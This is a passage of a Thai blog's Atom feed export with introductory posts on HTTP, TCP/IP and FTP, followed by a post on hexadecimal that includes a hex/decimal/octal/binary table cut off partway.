ซึ่งโปรแกรมบราวเซอร์ที่แพร่หลายทั่วไปนั้นจะสามารถรองรับโปรโตคอลในเวอร์ชั่นใหม่นี้ได้ และได้กำหนดไว้เป็นมาตรฐานใน RFC2068 แล้ว โดยในHTTP เวอร์ชั่น1.1 นี้ได้เพิ่มประสิทธิภาพทำงานให้สูงขึ้น และปรับปรุงในด้านต่างๆที่ทำให้ความสามารถมากขึ้น&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
&amp;nbsp;
   TCP/IP คืออะไร
  &lt;/h2&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TCP/IP (Transmission Control Protocol/Internet Protocol) 
เป็นระบบโปรโตคอล การสื่อสารพื้นฐานของระบบอินเตอร์เน็ต มันสามารถใช้เป็น 
โปรโตคอลในการสื่อสารภายใน เครือข่ายส่วนบุคคล เรียกว่า intranet และ 
extranet เมื่อมีการติดต่อโดยตรงกับ internet 
เครื่องคอมพิวเตอร์จะได้รับการคัดลอกโปรแกรม TCP/IP 
เช่นเดียวกับคอมพิวเตอร์อื่น ๆ เพื่อทำให้ส่งข้อความขอรับสารสนเทศ&lt;br /&gt;

TCP/IP เป็นโปรแกรม 2 เลเยอร์ TCP (Transmission Control Protocol) 
เป็นเลเยอร์ที่สูงกว่า 
ทำหน้าที่จัดการแยกข้อความหรือไฟล์แลปรกอบให้เหมือนเดิม IP (Internet 
Protocol) เป็นเลเยอร์ที่ต่ำกว่า 
ทำหน้าที่จัดการส่วนของที่อยู่ของแต่ละชุดข้อมูล 
เพื่อทำให้มีปลายทางที่ถูกต้อง เครื่องคอมพิวเตอร์ที่ทำหน้าที่เป็น Gateway
 บนเครือข่ายจะตรวจที่อยู่นี้เพื่อหาจุดหมายในการส่งข้อความ 
ชุดข้อมูลอาจจะใช้เส้นทางไปยังปลายทางต่างกัน 
แต่ทั้งหมดจะได้รับการประกอบใหม่ที่ปลายทาง&lt;br /&gt;

TCP/IP ใช้ในแบบ client/server ในการสื่อสาร (ระหว่างคอมพิวเตอร์) 
ซึ่งผู้ใช้คอมพิวเตอร์ (client) 
เป็นผู้ขอและการบริการได้รับจากคอมพิวเตอร์เครื่องแม่ข่ายในระบบเครือข่าย 
การสื่อสารของ TCP/IP เป็นแบบจุดต่อจุด (point -to- point) 
หมายความว่าการสื่อสารแต่ละครั้งเกิดจากจุดหนึ่ง (เครื่อง host 
เครื่องหนึ่ง) ไปยังจุดอื่นหรือเครื่อง host เครื่องอื่นในเครือข่าย TCP/IP
 และโปรแกรมประยุกต์ระดับสูงอื่น ที่ใช้ TCP/IP สามารถเรียกว่า &quot;Stateless&quot;
 เพราะการขอแต่ละ client 
ได้รับการพิจารณาเป็นการขอใหม่โดยไม่สัมพันธ์กับการขอเดิม 
(แต่แตกต่างจากการสนทนาทางโทรศัพท์) การที่เป็นพาร์ทของเครือข่ายอิสระแบบ 
&quot;Stateless&quot; ดังนั้นทุกคนสามารถใช้พาร์ทได้อย่างต่อเนื่อง (หมายเหตุ 
เลเยอร์ของ TCP จะไม่ &quot;Stateless&quot; ถ้ายังทำการส่งข้อความใดข้อความหนึ่ง 
จะทำการส่งจนกระทั่งชุดข้อมูลนั้นได้รับครบชุด)&lt;br /&gt;
&lt;br /&gt;

&amp;nbsp;&amp;nbsp; ผู้ใช้อินเตอร์เน็ต จำนวนมากคุ้นเคยกับการประยุกต์เลเยอร์ระดับสูง 
โดยใช้ TCP/IP เพื่อเข้าสู่ระบบอินเตอร์เน็ท ทั้งนี้รวมถึง World Wide 
Web&#39;s Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP) 
ซึ่งในการเข้าสู่เครื่องคอมพิวเตอร์ในระยะไกล และ Simple Mail Transfer 
Protocol (SMTP) Protocol เหล่านี้ จะเป็นชุดเดียวกับ TCP/IP ในลักษณะ 
&quot;Suite&quot; เครื่องคอมพิวเตอร์ส่วนบุคคล มักจะเข้าสู่อินเตอร์เน็ต ผ่าน Serial
 Line Internet Protocol (SLIP) หรือ Point-To-Point Protocol (PPP) 
โปรโตคอล แบบนี้จะควบคุมชุดข้อมูลของ IP ดังนั้น 
จึงสามารถใช้ส่งผ่านการติดต่อด้วยสายโทรศัพท์ ผ่านโมเด็ม Protocol 
ที่สัมพันธ์กับ TCP/IP ได้แก่ User Datagram Protocol (UDP) สำหรับใช้แทน 
TCP/IP ในกรณีพิเศษ ส่วนโปรโตคอลอื่นที่ใช้โดยเครื่อง host 
ของเครือข่ายสำหรับการแลกเปลี่ยนสารสนเทศกับ router ได้แก่ Internet 
Control Message Protocol (ICMP) Interior Gateway Protocol (IGP) Exterior
 Gateway Protocol (EGP) และ Border Gateway Protocol (BGP)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;FTP คืออะไร&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
 FTP ย่อมาจาก File Transfer Protocol คือ โปรโตคอลเครือข่ายชนิดหนึ่ง 
ถูกนำใช้ในการถ่ายโอนไฟล์ ระหว่างเครื่องคอมพิวเตอร์ 
อย่างการถ่ายโอนไฟล์ระหว่าง ไคลเอนต์ (client) 
กับเครื่องคอมพิวเตอร์ที่เป็นแม่ข่าย เรียกว่า โฮสติง (hosting) หรือ 
เซิร์ฟเวอร์ 
ซึ่งทำให้การถ่ายโอนไฟล์ง่ายและปลอดภัยในการแลกเปลี่ยนไฟล์ผ่านอินเตอร์เน็ต
 การใช้ FTP ที่พบบ่อยสุด ก็เช่น การดาวน์โหลดไฟล์จากอินเทอร์เน็ต 
ความสามารถในการถ่ายโอนไฟล์ ทำให้ FTP 
เป็นสิ่งจำเป็นสำหรับทุกคนที่สร้างเว็บเพจ ทั้งมือสมัครเล่นและมืออาชีพ 
โดยที่การติดต่อกันทาง FTP เราจะต้องติดต่อกันทาง Port 21 
ซึ่งก่อนที่จะเข้าใช้งานได้นั้น จะต้องเป็นสมาชิกและมีชื่อผู้เข้าใช้ 
(User) และ รหัสผู้เข้าใช้ (password) ก่อน 
และโปรแกรมสำหรับติดต่อกับแม่ข่าย (server) ส่วนมากจะใช้โปรแกรมสำเร็จรูป 
เช่น โปรแกรม Filezilla,CuteFTP หรือ WSFTP ในการติดต่อ เป็นต้น&lt;br /&gt;
FTP แบ่งเป็น 2 ส่วน&lt;br /&gt;
&lt;br /&gt;1. FTP server &amp;nbsp;เป็นโปรแกรมที่ถูกติดตั้งไว้ที่เครื่องเซิฟเวอร์ ทำหน้าที่ให้บริการ FTP หากมีการเชื่อมต่อจากไคลแอนเข้าไป&lt;br /&gt;
&lt;br /&gt;2.
 FTP client &amp;nbsp;เป็นโปรแกรม FTP ที่ถูกติดตั้งในเครื่องคอมพิวเตอร์ของ user 
ทั่วๆไป ทำหน้าที่เชื่อมต่อไปยัง FTP server และทำการอัพโหลด 
,ดาวน์โหลดไฟล์ หรือ จะสั่งแก้ไขชื่อไฟล์, ลบไฟล์ 
และเคลื่อนย้ายไฟล์ก็ได้เช่นกัน&lt;br /&gt;

ความสำคัญของ FTP&lt;br /&gt;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
โดยปกติเมื่อเราต้องการทำเว็บไซต์ไม่ว่าด้วยจุดประสงค์ใดก็ตาม 
สิ่งที่เราจะต้องนึกถึงและขาดไม่ได้คือ Hosting หรือ Server 
ซึ่งในปัจจุบันมีผู้ให้บริการอยู่เป็นจำนวนมาก 
การที่เว็บไซต์ของเราสามารถให้บริการได้ตลอด 24 ชั่วโมง โดยไม่มีหยุดนั้น 
ก็เพราะ Hosting ไม่เคยปิดนั่นเอง ส่วนการสร้างเว็บไซต์เกิดจากการเขียน 
Code โปรแกรม ไม่ว่าจะเขียนด้วยภาษา HTML , PHP , ASP ,
 ฯลฯ ล้วนแล้วแต่ต้องนำไฟล์ที่เราเขียนเสร็จเรียบร้อยไปใส่บน Hosting 
เพื่อสามารถให้บริการได้ตลอด 24 ชั่วโมง 365 วัน 
แต่ด้วยหนทางที่อยู่ไกลกันระหว่างเรากับ Hosting ที่เราขอใช้บริการไว้ 
เราจึงต้องใช้เทคโนโลยีของคอมพิวเตอร์ 
ในการโอนย้ายไฟล์ระหว่างเครื่องคอมพิวเตอร์ของเรา กับ Hosting 
ซึ่งเทคโนโลยีนั้นคือ FTP นั่นเอง&lt;br /&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1603972707009455950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1603972707009455950'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/how-to-protocol.html' title='Protocol คืออะไร?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGi9wO4-7EG7pCAjVOfH-fzqrCjLhU9HtP1uIQ12j3TE3hzdRFQR6-S4G4w4jdAOKWIg1wHHMRyNlBtDDYLmw3FxlpvPn-qtdBzZ5nmfa0RLE0CksxmOBsUmK6gPCYz90JhsYTCAZ_-GHW/s72-c/cnt2_01.gif" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-4472660188286674151</id><published>2013-10-19T13:22:00.000+07:00</published><updated>2013-10-19T13:22:50.619+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="คำสั่งพื้นฐาน"/><category scheme="http://www.blogger.com/atom/ns#" term="สคิป Bot"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><title type='text'>เลขฐานสิบคือ อะไร?</title><content type='html'>&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy3ulnvRQmd_EI67m6pbRtvEnnDQoPYTnbOvS-miR_6PYY1ucy8KjwFF9k8h8q3IHvDqJ40HzfO8a2hMZ0cnxBn7sN9ITXPsk6yxTKvqHAZ_Z0KRurPCIPUO4A1Jm7-mWEeDTkDJ6mGN7x/s1600/NF130107.GIF&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;262&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy3ulnvRQmd_EI67m6pbRtvEnnDQoPYTnbOvS-miR_6PYY1ucy8KjwFF9k8h8q3IHvDqJ40HzfO8a2hMZ0cnxBn7sN9ITXPsk6yxTKvqHAZ_Z0KRurPCIPUO4A1Jm7-mWEeDTkDJ6mGN7x/s400/NF130107.GIF&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/b&gt;&lt;/div&gt;
&lt;b&gt;
&lt;/b&gt;ในบทความนี้ ก็จะให้ทำความรู้จักกับ เลขฐาน 16 (Hexadecimal) เพราะว่า มันค่อนข้างที่จะสำคัญ (อาจจะสำคัญมากเลยละ) เพราะว่า การเขียนโปรแกรมนั้น ไม่ว่าจะเขียนด้วยภาษาใหน มันก็จะถูกแปลงเป็น Hex หมด &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เลขฐานสิบหก&lt;/b&gt; (hexadecimal) หมายถึงระบบเลขฐานที่มีสัญลักษณ์ 16 ตัว (ฐานสิบมี 10 ตัวคือ 0-9) โดยปกติจะใช้สัญลักษรณ์ 0 1 2 3 4 5 6 7 8 9 A B C D E F ในการแสดงหรือเขียนทั้ง 16 ตัว
&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;border: 2px; text-align: center;&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background: black; height: 2px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #f6a07c; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;width: 45px;&quot;&gt;&lt;b&gt;0&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td style=&quot;width: 45px;&quot;&gt;0&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td style=&quot;width: 45px;&quot;&gt;0&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;1&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;1&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;1&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;2&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;2&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;2&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #FDC888; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;3&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;3&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;3&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: black; height: 2px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;4&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;4&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;4&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #FDC888; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;5&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;5&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;5&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #FEE978; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;6&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;6&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;6&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;7&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;7&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;7&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: black; height: 2px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;8&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;8&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;10&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #FEE978; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;9&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;9&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;11&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #FDC888; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;10&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;12&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;B&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;11&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;13&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: black; height: 2px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #FDC888; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;C&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;12&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;14&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
